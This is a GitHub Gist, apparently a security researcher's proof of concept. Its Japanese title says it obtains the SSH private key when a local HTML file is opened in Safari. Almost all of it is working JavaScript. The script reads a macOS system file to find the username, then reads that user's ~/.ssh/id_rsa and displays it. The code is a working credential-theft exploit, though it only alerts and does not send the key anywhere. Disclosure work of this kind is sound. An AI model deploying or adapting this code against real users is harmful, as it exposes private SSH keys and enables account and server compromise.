Skip to content

Instantly share code, notes, and snippets.

@mala
Created August 2, 2012 08:55
Show Gist options
  • Save mala/3235575 to your computer and use it in GitHub Desktop.
Save mala/3235575 to your computer and use it in GitHub Desktop.
SafariでローカルHTMLファイルを開いた時にSSH秘密鍵を取得するやつ(どこに置いてあっても動くバージョン)
<script>
var username;
var req = new XMLHttpRequest;
req.open("GET", "/private/var/db/mds/messages/se_SecurityMessages", true);
req.onload = function(){
username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1]
alert("Username:" + username);
req.open("GET", "file:///Users/" + username + "/.ssh/id_rsa");
req.onload = function(){ alert(req.responseText) };
req.send();
};
req.send();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment